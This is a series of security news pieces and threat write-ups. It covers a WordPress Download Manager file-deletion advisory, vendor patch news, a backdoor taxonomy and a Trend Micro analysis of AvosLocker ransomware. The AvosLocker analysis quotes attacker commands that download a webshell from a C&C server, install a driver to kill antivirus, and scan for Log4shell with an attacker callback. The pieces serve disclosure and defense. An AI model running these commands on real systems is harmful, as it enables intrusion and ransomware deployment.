High Severity Vulnerability Patched in Download Manager Plugin

On July 8, 2022 the Wordfence Threat Intelligence team initiated the responsible disclosure process for a vulnerability we discovered in “Download Manager,” a WordPress plugin that is installed on over 100,000 sites. This flaw makes it possible for an authenticated attacker to delete arbitrary files hosted on the server, provided they have access to create downloads. If an attacker deletes the wp-config.php file they can gain administrative privileges, including the ability to execute code, by re-running the WordPress install process.

Wordfence PremiumWordfence Care, and Wordfence Response received a firewall rule on July 8, 2022 to provide protection against any attackers that try to exploit this vulnerability. Wordfence Free users will receive this same protection 30 days later on August 7, 2022.

We attempted to reach out to the developer on July 8, 2022, the same day we discovered the vulnerability. We never received a response so we sent the full details to the WordPress.org plugins team on July 26, 2022. The plugin was fully patched the next day on July 27, 2022.

We strongly recommend ensuring that your site has been updated to the latest patched version of “Download Manager”, which is version 3.2.53 at the time of this publication.

Description: Authenticated (Contributor+) Arbitrary File Deletion
Affected Plugin: Download Manager
Plugin Slug: download-manager
Plugin Developer: W3 Eden, Inc.
Affected Versions: <= 3.2.50
CVE ID: CVE-2022-2431
CVSS Score: 8.8 (High)
Researcher/s: Chloe Chamberland
Fully Patched Version: 3.2.51

Download Manager is a popular WordPress plugin designed to allow site content creators to share downloadable files that are stored as posts. These downloads can be displayed on the front-end of the WordPress site for users to download. Unfortunately, vulnerable versions of the plugin contain a bypass in how the downloadable file is stored and subsequently deleted upon post deletion that make it possible for attackers to delete arbitrary files on the server.

More specifically, vulnerable versions of the plugin register the deleteFiles() function that is called via the before_delete_post hook. This hook is triggered right before a post has been deleted and its intended functionality in this case is to delete any files that may have been uploaded and associated with a “download” post.

At first glance this looks like a relatively safe functionality assuming the originally supplied file path is validated. Unfortunately, however, that is not the case as the path to the file saved with the “download” post is not validated to ensure it was a safe file type or in a location associated with a “download” post. This means that a path to an arbitrary file with any extension can be supplied via the file[files][] parameter when saving a post and that would be the file associated with the “download” post. On many configurations an attacker could supply a path such as /var/www/html/wp-config.php that would associate the site’s WordPress configuration file with the download post.

32add_action('before_delete_post', array($this, 'deleteFiles'), 10, 2);
979899100101102103104functiondeleteFiles($post_id, $post){    $files= WPDM()->package->getFiles($post_id, false);    foreach($filesas$file) {        $file= WPDM()->fileSystem->locateFile($file);        @unlink($file);    }}

When the user goes to permanently delete the “download” post the deleteFiles() function will be triggered by the before_delete_post hook and the supplied file will be deleted, if it exists.

This can be used by attackers to delete critical files hosted on the server. The wp-config.php file in particular is a popular target for attackers as deletion of this file would disconnect the existing database from the compromised site and allow the attacker to re-complete the initial installation process and connect their own database to the site. Once a database is connected, they would have access to the server and could upload arbitrary files to further infect the system.

Demonstrating site reset upon download post deletion.

This vulnerability requires contributor-level access and above to exploit, so it serves as an important reminder to make sure you don’t provide contributor-level and above access to untrusted users. It’s also important to validate that all users have strong passwords to ensure your site won’t subsequently be compromised as a result of a vulnerability like this due to an unauthorized actor gaining access via a weak or compromised password.


  • July 8, 2022 – Discovery of the Arbitrary File Deletion Vulnerability in the “Download Manager” plugin. A firewall rule is released to Wordfence PremiumWordfence Care, and Wordfence Response users. We attempt to initiate contact with the developer.
  • July 26, 2022 – After no response from the developer, we send the full disclosure details to the WordPress plugins team. They acknowledge the report and make contact with the developer.
  • July 27, 2022. – A fully patched version of the plugin is released as version 3.2.51.
  • August 7, 2022 – Wordfence free users receive the firewall rule.


In today’s post, we detailed a flaw in the “Download Manager” plugin that makes it possible for authenticated attackers to delete arbitrary files hosted on an affected server, which could lead to remote code execution and ultimately complete site compromise. This flaw has been fully patched in version 3.2.51.

We recommend that WordPress site owners immediately verify that their site has been updated to the latest patched version available, which is version 3.2.53 at the time of this publication.

Wordfence PremiumWordfence Care, and Wordfence Response received a firewall rule on July 8, 2022 to provide protection against any attackers trying to exploit this vulnerability. Wordfence Free users will receive this same protection 30 days later on August 7, 2022.

If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both these products include hands-on support in case you need further assistance.

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Juniper Releases Patches for Critical Flaws in Junos OS and Contrail Networking

Juniper Networks has pushed security updates to address several vulnerabilities affecting multiple products, some of which could be exploited to seize control of affected systems.

The most critical of the flaws affect Junos Space and Contrail Networking, with the tech company urging customers to release versions 22.1R1 and 21.4.0, respectively.

Chief among them is a collection of 31 bugs in the Junos Space network management software, including CVE-2021-23017 (CVSS score: 9.4) that could result in a crash of vulnerable devices or even achieve arbitrary code execution.

“A security issue in nginx resolver was identified, which might allow an attacker who is able to forge UDP packets from the DNS server to cause 1-byte memory overwrite, resulting in worker process crash or potential other impact,” the company said.

The same security vulnerability has also been remediated in Northstar Controller in versions 5.1.0 Service Pack 6 and 6.2.2.

Additionally, the networking equipment maker cautioned of multiple known issues exist in CentOS 6.8 that’s shipped with Junos Space Policy Enforcer before version 22.1R1. As mitigations, the version of CentOS packed with the Policy Enforcer component has been upgraded to 7.9.

Also listed are 166 security vulnerabilities impacting its Contrail Networking product that impact all versions prior to 21.4.0 and have been collectively given the maximum CVSS score of 10.0.

“Multiple vulnerabilities in third party software used in Juniper Networks Contrail Networking have been resolved in release 21.4.0 by upgrading the Open Container Initiative (OCI)-compliant Red Hat Universal Base Image (UBI) container image from Red Hat Enterprise Linux 7 to Red Hat Enterprise Linux 8,” it noted in an advisory.

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5 Key Things We Learned from CISOs of Smaller Enterprises Survey

New survey reveals lack of staff, skills, and resources driving smaller teams to outsource security.

As business begins its return to normalcy (however “normal” may look), CISOs at small and medium-size enterprises (500 – 10,000 employees) were asked to share their cybersecurity challenges and priorities, and their responses were compared the results with those of a similar survey from 2021.

Here are the 5 key things we learned from 200 responses:

— Remote Work Has Accelerated the Use of EDR Technologies

In 2021, 52% of CISOs surveyed were relying on endpoint detection and response (EDR) tools. This year that number has leapt to 85%. In contrast, last year 45% were using network detection and response (NDR) tools, while this year just 6% employ NDR. Compared to 2021, double the number of CISOs and their organizations are seeing the value of extended detection and response (XDR) tools, which combine EDR with integrated network signals. This is likely due to the increase in remote work, which is more difficult to secure than when employees work within the company’s network environment.

— 90% of CISOs Use an MDR Solution

There is a massive skills gap in the cybersecurity industry, and CISOs are under increasing pressure to recruit internally. Especially in small security teams where additional headcount is not the answer, CISOs are turning to outsourced services to fill the void. In 2021, 47% of CISOs surveyed relied on a Managed Security Services Provider (MSSP), while 53% were using a managed detection and response (MDR) service. This year, just 21% are using an MSSP, and 90% are using MDR.

— Overlapping Threat Protection Tools are the #1 Pain Point for Small Teams

The majority (87%) of companies with small security teams struggle to manage and operate their threat protection products. Among these companies, 44% struggle with overlapping capabilities, while 42% struggle to visualize the full picture of an attack when it occurs. These challenges are intrinsically connected, as teams find it difficult to get a single, comprehensive view with multiple tools.

— Small Security Teams Are Ignoring More Alerts

Small security teams are giving less attention to their security alerts. Last year 14% of CISOs said they look only at critical alerts, while this year that number jumped to 21%. In addition, organizations are increasingly letting automation take the wheel. Last year, 16% said they ignore automatically remediated alerts, and this year that’s true for 34% of small security teams.

— 96% of CISOs Are Planning to Consolidate Security Platforms

Almost all CISOs surveyed have consolidation of security tools on their to-do lists, compared to 61% in 2021. Not only does consolidation reduce the number of alerts – making it easier to prioritize and view all threats – respondents believe it will stop them from missing threats (57%), reduce the need for specific expertise (56%), and make it easier to correlate findings and visualize the risk landscape (46%). XDR technologies have emerged as the preferred method of consolidation, with 63% of CISOs calling it their top choice.

Download 2022 CISO Survey of Small Cyber Security Teams to see all the results.

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Spectre and Meltdown Attacks Against OpenSSL

The OpenSSL Technical Committee (OTC) was recently made aware of several potential attacks against the OpenSSL libraries which might permit information leakage via the Spectre attack.1 Although there are currently no known exploits for the Spectre attacks identified, it is plausible that some of them might be exploitable.

Local side channel attacks, such as these, are outside the scope of our security policy, however the project generally does introduce mitigations when they are discovered. In this case, the OTC has decided that these attacks will not be mitigated by changes to the OpenSSL code base. The full reasoning behind this is given below.

The Spectre attack vector, while applicable everywhere, is most important for code running in enclaves because it bypasses the protections offered. Example enclaves include, but are not limited to:

The reasoning behind the OTC’s decision to not introduce mitigations for these attacks is multifold:

  • Such issues do not fall under the scope of our defined security policy. Even though we often apply mitigations for such issues we do not mandate that they are addressed.
  • Maintaining code with mitigations in place would be significantly more difficult. Most potentially vulnerable code is extremely non-obvious, even to experienced security programmers. It would thus be quite easy to introduce new attack vectors or fix existing ones unknowingly. The mitigations themselves obscure the code which increases the maintenance burden.
  • Automated verification and testing of the attacks is necessary but not sufficient. We do not have automated detection for this family of vulnerabilities and if we did, it is likely that variations would escape detection. This does not mean we won’t add automated checking for issues like this at some stage.
  • These problems are fundamentally a bug in the hardware. The software running on the hardware cannot be expected to mitigate all such attacks. Some of the in-CPU caches are completely opaque to software and cannot be easily flushed, making software mitigation quixotic. However, the OTC recognises that fixing hardware is difficult and in some cases impossible.
  • Some kernels and compilers can provide partial mitigation. Specifically, several common compilers have introduced code generation options addressing some of these classes of vulnerability:
    • GCC has the -mindirect-branch-mfunction-return and -mindirect-branch-register options
    • LLVM has the -mretpoline option
    • MSVC has the /Qspectre option

  1. Nicholas Mosier, Hanna Lachnitt, Hamed Nemati, and Caroline Trippel, “Axiomatic Hardware-Software Contracts for Security,” in Proceedings of the 49th ACM/IEEE International Symposium on Computer Architecture (ISCA), 2022.

Posted by OpenSSL Technical Committee May 13th, 2022 12:00 am

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Which Altaro directories do I need to exclude from AntiVirus software?

If you are running an AntiVirus software or a file-scanning software, we do recommend excluding a couple of directories used by Altaro in order to ensure that it’s operation remains undisrupted.

We do recommend excluding the following:

  • all onsite backup drive directories
  • all offsite backup drive directories
  • C:\ProgramData\Altaro on the Altaro Management and on the Hyper-V hosts
  • C:\Program Files\Altaro on the Altaro Management and on the Hyper-V hosts

Also, if you relocated the Altaro temporary files ensure to exclude that directory as well.

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Securing Port 443: The Gateway To A New Universe

At Wordfence our business is to secure over 4 million WordPress websites and keep them secure. My background is in network operations, and then I transitioned into software development because my ops role was at a scale where I found myself writing a lot of code. This led me to founding startups, and ultimately into starting the cybersecurity business that is Wordfence. But I’ve maintained that ops perspective, and when I think about securing a network, I tend to think of ports.

You can find a rather exhaustive list of TCP and UDP ports on Wikipedia, but for the sake of this discussion let’s focus on a few of the most popular ports:

  • 20 and 21 – FTP
  • 22 – SSH
  • 23 – (Just kidding. You better not be running Telnet)
  • 25 – Email via SMTP
  • 53 – DNS
  • 80 – Unencrypted Web
  • 110 – POP3 (for older email clients)
  • 443 – Web encrypted via TLS
  • 445 – Active Directory or SMB sharing
  • 993 – IMAP (for email clients)
  • 3306 – MySQL
  • 6378 – Redis
  • 11211 – Memcached

If you run your eye down this list, you’ll notice something interesting. The options available to you for services to run on most of these ports are quite limited. Some of them are specific to a single application, like Redis. Others, like SMTP, provide a limited number of applications, either proprietary or open-source. In both cases, you can change the configuration of the application, but it’s rare to write a custom application on one of those ports. Except port 443.

In the case of port 443 and port 80, you have a limited range of web servers listening on those ports, but users are writing a huge range of bespoke applications on port 443, and have a massive selection of applications that they can host on that port. Everything from WordPress to Drupal to Joomla, and more. There are huge lists of Content Management Systems.

Not only do you have a wide range of off-the-shelf web applications that you can run on port 443 or (if you’re silly) port 80, but you also have a range of languages they might be coded in, or in which you can code your own web application. Keep in mind that the web server, in this case, is much like an SSH or IMAP server in that it is listening on the port and handling connections, but the difference is that it is handing off execution to these languages, their various development frameworks, and ultimately the application that a developer has written to handle the incoming request.

With SSH, SMTP, FTP, IMAP, MySQL, Redis and most other services, the process listening on the port is the process that handles the request. With web ports, the process listening on the port delegates the incoming connection to another application, usually written in another language, running at the application layer, that is part of the extremely large and diverse ecosystem of web applications.

This concept in itself – that the applications listening on the web ports are extremely diverse and either home-made or selected from a large and diverse ecosystem – presents unique security challenges. In the case of, say, Redis, you might worry about running a secure version of Redis and making sure it is not misconfigured. In the case of a web server, you may have 50 application instances written in two languages from five different vendors all on the same port, which all need to be correctly configured, have their patch levels maintained, and be written using secure coding practices.

As if that doesn’t make the web ports challenging enough, they are also, for the most part, public. Putting aside internal websites for the moment, perhaps the majority of websites derive their value from making services available to users on the Internet by being public-facing. If you consider the list of ports I have above, or in the Wikipedia article I linked to, many of those ports are only open on internal networks or have access to them controlled if they are external. Web ports for public websites, by their very nature, must be publicly accessible for them to be useful. There are certain public services like SMTP or DNS, but as I mentioned above, the server that is listening on the port is the server handling the request in these cases.

A further challenge when securing websites is that often the monetary and data assets available to an attacker when compromising a website are greater than the assets they may gain compromising a corporate network. You see this with high volume e-commerce websites where a small business is processing a large number of web-based e-commerce transactions below $100. If the attacker compromises their corporate network via leaked AWS credentials, they may gain access to the company bank account and company intellectual property, encrypt the company’s data using ransomware, or perhaps even obtain customer PII. But by compromising the e-commerce website, they can gain access to credit card numbers in-flight, which are far more tradeable, and where the sum of available credit among all cards is greater than all the assets of the small business, including the amount of ransom that business might be able to pay.

Let’s not discount breaches like the 2017 Equifax breach that compromised 163 million American, British and Canadian citizen’s records. That was extremely valuable to the attackers. But targets like this are rare, and the Web presents a target-rich environment. Which is the third point I’d like to make in this post. While an organization may run a handful of services on other ports, many companies – with hosting providers in particular – run a large number of web applications. And an individual or company is far more likely to have a service running on a web port than any other port. Many of us have websites, but how many of us run our own DNS, SMTP, Redis, or another service listening on a port other than 80 or 443? Most of us who run websites also run MySQL on port 3306, but that port should not be publicly accessible if configured correctly.

That port 443 security is different has become clear to us at Wordfence over the years as we have tracked and cataloged a huge number of malware variants, web vulnerabilities, and a wide range of tactics, techniques, and procedures (TTP) that attackers targeting web applications use. Most of these have no relationship with the web server listening on port 443, and nearly all of them have a close relationship with the web application that the web server hands off control to once communication is established.

My hope with this post has been to catalyze a different way of thinking about port 443 and that other insecure port (80) we all hopefully don’t use. Port 443 is not just another service. It is, in fact, the gateway to a whole new universe of programming languages, dev frameworks, and web applications.

In the majority of cases, the gateway to that new universe is publicly accessible.

Once an attacker passes through that gateway, a useful way to think about the web applications hosted on the server is that each application is its own service that needs to have its patch level maintained, needs to be configured correctly, and should be removed if it is not in use to reduce the available attack surface.

If you are a web developer you may already think this way, and if anything, you may be guilty of neglecting services on ports other than port 80 or 443. If you are an operations engineer, or an analyst working in a SOC protecting an enterprise network, you may be guilty of thinking about port 443 as just another port you need to secure.

Think of port 443 as a gateway to a new universe that has no access control, with HTTPS providing easy standardized access, and with a wide range of diverse services running on the other side, that provide an attacker with a target and asset-rich environment.

Footnote: We will be exhibiting at Black Hat in Las Vegas this year at booth 2514 between the main entrance and Innovation City. Our entire team of over 30 people will be there. We’ll have awesome swag, as always. Come and say hi! Our team will also be attending DEF CON immediately after Black Hat.

Written by Mark Maunder – Founder and CEO of Wordfence. 

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Examining Emerging Backdoors

Next up in our “This didn’t quite make it into the 2021 Threat Report, but is still really cool” series: New backdoors!

Backdoors are a crucial component of a website infection. They allow the attackers ongoing access to the compromised environment and provide them a “foot in the door” to execute their payload. We see many different types of backdoors with varying functionality.

When our malware research team is provided with a new backdoor they need to write what’s called a “signature” to ensure that we detect and remove it in future security scans. Signatures need names, and over the years we’ve developed something of a taxonomy naming system for all of the different malware that we come across.

In this article we’re going to explore all the different categories of signatures for newly-discovered backdoors throughout the year 2021.

How do Backdoors Work?

HTTP requests to websites typically fall into one of the following categories:

  • POST – sending data to a website
  • GET – requesting data from a website
  • COOKIE – data (such as session data) saved from a website
  • REQUEST – a conjunction of all/any of the three

We see all sorts of different backdoors while cleaning up compromised websites. Sometimes they use one of these types of requests, or a combination of multiple different types.

We’ve broken all newly generated signatures from 2021 down for further analysis into the following categories:

A graph showing the distribution of new backdoor signatures generated in 2021.


By far the most common type of backdoor found in 2021 was an uploader: That is, a PHP script that allows the attackers to upload any file that they want. These malicious files allow anyone with the correct URL path, parameters and (occasionally) access credentials to upload whichever files they want to the web server. Typically, bad actors use these backdoors to upload a webshell, spam directory, dropper, or other type of file giving them full control over the environment.

To avoid detection, attackers are always tweaking their malware by using new methods of obfuscation or concealing backdoors within legitimate-looking images, core files, plugins, or even themes — this can make malicious file uploaders difficult to detect during a casual site review.

Once an attacker has identified a vulnerable environment that they can get a foothold in, planting the uploader is often the next step. After that they have enough access to upload more complicated access points such as a webshell.

Of course there are legitimate uploader scripts, as many websites require functionality to allow users to upload photos or other content to the website. To mitigate risk, secure uploader scripts contain strict rules on how they are able to behave:

  • Only certain file types/extensions are allowed (usually image, or document files)
  • May require authorisation cookies to be set
  • May place files in a restricted directory with PHP execution disabled
  • May disable direct access and instead need to be called by the existing CMS structure

Malicious uploaders, on the other hand, have no such restrictions as they are designed to upload malicious files and PHP scripts.

A malicious uploader script


Webshells are a classic type of malware that have been used by attackers for many years. They are administrative dashboards that give the attacker full access to the files and often provide a large amount of information about the hosting environment including operating system, PHP settings, web server configurations, file management, and SQL connections.

The classic FilesMan shell continues to be very popular with attackers. In 2021 we generated 20 new signatures related to new filesman variants alone, not including hack tools which grab filesman shells from remote servers.

Interestingly, a lot of malicious web shells provide far superior functionality than a lot of file managers provided by web hosting providers.

A malicious web shell backdoor

Misc RCE

Sometimes remote code execution backdoors are a little more complicated, or just rely on more basic/generic $_REQUEST calls. This is a PHP global array that contains the content of GETPOST and COOKIE inputs. The content of these variables could be anything and the attacker can fill them — e.g. with the payload — which is then processed. Sometimes the entire payload code is stored there and only very simple code snippets are injected into legitimate files. Such a snippet only loads and executes the content of these variables.

Other times, RCE backdoors make use of multiple different functions and request types.

A remote code execution backdoor


Not falling into any particular category are our collection of “generic” backdoors. They tend to use a mixture of different functions and methods to maintain backdoor access to the environment. Some are heavily obfuscated and others are mostly in plain text, but what unites them is that they don’t rely on any one technique to backdoor the environment in which they reside.

A generic, malicious backdoor


The PHP function file_get_contents fetches a local file or remote file. As far as backdoors are concerned, attackers misuse this function to grab malicious files located on other websites or servers and add it to the victim’s website. This allows them to host the actual malicious content elsewhere, while maintaining all of the same functionality on the victim environment.

Here we have a very simple backdoor using file_get_contents to grab a backdoor from a malicious server. The actual address is obfuscated through use of a URL shortening service:

A backdoor which uses file_get_contents

The footprint of this malware is very small as the payload resides elsewhere, but the functionality is potentially huge.

Remote Code Execution Backdoors

Not to be confused with remote code execution vulnerabilities, these backdoors are crafted to take whatever command is issued to it by the attacker and execute it in the victim’s environment. These PHP backdoors are often more complex than uploaders and allow the attackers more leeway in terms of how they can interact with the victim website.

If a request is sent that matches the parameters of the backdoor it will execute whichever command the attacker instructs so long as it doesn’t get blocked by any security software or firewall running within the environment.

A remote code execution backdoor

Here’s another example of a quite well hidden RCE backdoor in a Magento environment:

A well-hidden RCE backdoor in a Magento environment

Attackers make heavy use of the eval function which executes the command in the victim environment.


These backdoors utilise the PHP function file_put_contents which will write the instructed content to a file on the victim environment.

Here is an example of such a backdoor lodged in a WordPress configuration file wp-config.php:

A backdoor which uses file_put_contents

This backdoor writes the specified malicious content into the file structure of the victim website given the correct parameters in the attacker’s request, allowing them to infect other files on the server with the content of their choice.


The curl() function facilitates the transmission of data. It can be used maliciously to download remote code which can be executed or directly displayed. This way, malware authors are able to create a small backdoor that only has this curl functionality implemented while the payload itself can be downloaded from a remote source.

It has many uses, and as such can be misused in many ways by attackers. We have seen it used frequently in credit card skimmers to transmit sensitive details to exfiltration destinations. It can also be used in RCE backdoors:

A backdoor which uses CURL

Since the attackers have crafted a backdoor to (mis)use curl, and they control the parameters under which it will function, in this way they are able to send or receive malicious traffic to and from the website, depending on how the backdoor is designed.

Authentication Bypass

These types of backdoors are most often seen in WordPress environments. They are small PHP scripts which allow the attacker to automatically log in to the administrator panel without needing to provide any password.

As long as they include the database configuration file in the script then they are able to set the necessary cookies for authorization, as seen in this example here:

A backdoor which bypasses normal authentication

The existence of such backdoors presents a case that additional authentication requirements should be employed within website environments. Protecting your admin panel with our firewall’s protected page feature is a great way to do this.

If you’re not a user of our firewall there are a lot of other ways that your admin panel can be protected.

Basic RCE via POST

Backdoors that take input through POST requests are quite common and many of the backdoor types that we’ve seen contain such functionality. Some of them, however, are quite small and rely exclusively on POST requests.

The example below shows one such backdoor, coupled with basic password protection to ensure that the backdoor is not used by anybody that does not have access to the password.

A basic remote code execution backdoor which uses POST

Fake Plugins

Another tactic that we’ve seen attackers use is the use of fake plugins. This is frequently used as a payload to deliver spam and malware, since WordPress will load the components present in the ./wp-content/plugins directory.

We’ve also seen attackers use these plugins as backdoors to maintain access to compromised environments.

A fake plugin in a WordPress environment

Since admin panel compromises are a very common attack vector, the usage of fake/malicious backdoor plugins is quite popular with attackers.

System Shell Backdoors

Attackers have also written malware that interacts with the hosting environment itself and will attempt to run shell commands via PHP scripts in the environment. This is not always possible, depending on the security settings of the environment, but here’s an example of one such backdoor:

A system shell backdoor

If system() is disabled in the environment then these will not work, so the functionality of such backdoors will be limited by the security settings in the host.

COOKIE Based Backdoors

Some malware creators use COOKIES as a storage for various data. These can be decryption keys  used to decode an otherwise inaccessible payload, or even the entire malicious payload itself.

A cookie based backdoor


The create_function() is often used by malware instead of (or in conjunction with) the eval() function to hide the execution of the malicious code. The payload is encapsulated inside the crafted custom function, often with an obfuscated name to make the functionality less clear.

This function is then called somewhere else within the code, and thus the payload is evaluated. Backdoors have been found to abuse this to place their payload back on the infected website after it was removed.

A backdoor which creates a malicious function in the victim environment


Backdoors have also been seen using GET requests for input, rather than POST requests. In the example below we can see that the backdoor will execute the malicious payload if a GET request contains a certain string.

A remote code execution backdoor which uses GET

This allows the attackers to restrict the usage of the backdoor to only those who know the exact parameters to specify in the malicious GET request to the website. If the correct parameters are given then the backdoor will execute its intended function.

Database Management Backdoors

Most often attackers will misuse tools such as Adminer to insert malicious content into the victim website’s database, but occasionally we have seen them craft their own database management tools. This allows them to insert admin users into the website as well as inject malicious JavaScript into the website content to redirect users to spam or scam websites or steal credit card information from eCommerce environments.

A database management backdoor

Conclusion & Mitigation Steps

Backdoors play a crucial role for the attackers in a huge number of website compromises. Once the attackers are able to gain a foothold into an environment their goal is to escalate the level of access they have as much as possible. Certain vulnerabilities will provide them access only to certain directories. For example, a subdirectory of the wp-content/uploads area of the file structure.

Often the first thing they will do is place a malicious uploader or webshell into the environment, giving them full control over the rest of the website files. Once that is established they are able to deliver a payload of their choosing.

If default configurations are in place in a standard WordPress/cPanel/WHM configuration a single compromised admin user on a single website can cause the entire environment to be infected. Attackers can move laterally throughout the environment by the use of symlinks even if the file permissions/ownership are configured correctly.

Malicious actors are writing new code daily to try to evade existing security detections. As security analysts and researchers it’s our job to stay on top of the most recent threats and ensure that our tools and monitoring detect it all.

Throughout the year 2021 we added hundreds of new signatures for newly discovered backdoors. I expect we’ll also be adding hundreds more this year.

If you’d like us to help you monitor and secure your website from backdoors and other threats you can sign up for our platform-agnostic website security services.

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AvosLocker Ransomware Variant Abuses Driver File to Disable Anti-Virus, Scans for Log4shell

We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable anti-virus solutions and detection evasion. While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).  In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.

Infection chain

Figure 1. AvosLocker infection chain

According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:

Figure 2. The ADSS exploit abusing CVE-2021-40539

Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used. However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539. The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.

Mapping the infection

The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server. Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process. 

Figure 3. Remotely executing an HTA file from the C&C server. Screenshots taken from Trend Micro Vison One.
Figure 4. HTA file connecting to the C&C

A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file. The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.

Figure 5. Obfuscated PowerShell script contains a shellcode

The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >. According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker. The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.

Figure 6. Gather system information

The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.

Figure 7. Executed with the /domain argument to collect username information
Figure 8. query user information for session data

The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.

Figure 9. The PowerShell downloading and installing AnyDeskMSI

We observed that a new user account was created, added to the current domain, and included in the administrator group. This ensures the attacker can have administrative rights to the infected system. The attackers also checked the running processes in the system via TaskList to check for anti-virus processes running in the infiltrated system.

Figure 10. Creating a new account with admin rights
Figure 11. Checking for anti-virus processes running

During the scan, we observed an attempt to terminate security products initiated via TaskKill. Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.

Figure 12. Terminating security products running

Tools and functions

Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products. The tools transferred using AnyDesk are:

  • Netscan: To scan for other endpoints
  • Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
  • Hacking tools Mimikatz and Impacket: For lateral movement
  • PDQ deploy: For mass deployment of malicious script to multiple endpoints
  • Aswarpot.sys: For disabling defense solutions. We noted that it can disable a number of anti-virus products, previously identified by Aon’s researchers.
Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk

We found an Avast anti-rootkit driver installed as service ‘asWarPot.sys’ using the command sc.exe  create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel. It installs the driver file in preparation for disabling the running anti-virus product. We noted the unusual use of cmd.exe for execution of the file.  

Figure 14. Executing the anti-rootkit driver in the system

Mimikatz components were also copied to the affected machine via AnyDeskMSI. However, these components were detected and deleted.

Figure 15. Detecting and deleting Mimikatz

We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver). A list of security product processes was supplied and subsequently terminated by the driver.

Figure 16. Listing and terminating the security products found running in the compromised system

Verification: Manual replication of anti-virus disabling routine

We manually replicated the routine and commands for disabling the defense solutions to further look into the routine. Figure 17 shows the list of processes that the routine searches on infection :

  • EndpointBasecamp.exe
  • Trend Micro Endpoint Basecamp
  • ResponseService.exe
  • PccNTMon.exe
  • SupportConnector.exe
  • AOTAgent.exe
  • CETASvc.exe
  • CETASvc
  • iVPAgent.exe
  • tmwscsvc.exe
  • TMResponse
  • AOTAgentSvc
  • TMBMServer
  • iVPAgent
  • Trend Micro Web Service Communicator
  • Tmccsf
  • Tmlisten
  • Ntrtscan
  • TmWSCSvc
Figure 17. Searching for processes

We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.

Figure 18. Driver file preparing to disable an anti-virus product

The DeviceIoControl function is used to execute parts of the driver. In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above. Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.

Figure 19. DeviceIoControl as an argument with the current process ID

Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case. Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.

Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).

Other executions and lateral movement

After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.

Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)

We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.

Figure 22. XenArmor password recovery tool execution

We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network. They used the command nmap  –script log4shell.nse –script-args log4shell.waf-bypass=true –script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server. 

Figure 23. Checking for log4shell

We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.

Figure 24. Running more system network configuration discovery scans

Deploying across the network

We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.

Figure 25. Deploying malicious batch scripts to other endpoints

The deployed batch script has the following commands:

  • Disable Windows Update and Microsoft Defender
Figure 26. Disable Microsoft defense services
  • Prevents safeboot execution of security products
Figure 27. Prevent security products’ execution
  • Create new administrator account
Figure 28. Create new account
  • Add the AutoStart mechanism for the AvosLocker executable (update.exe)
Figure 29. Add Autostart for ransomware executable
  • Disables legal notice caption
Figure 30. Disable legal notice
  • Set safeboot with networking and disables Windows Error Recovery and reboot
Figure 31. Setting and disabling network and specific Windows functions


While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).

This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice. Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.

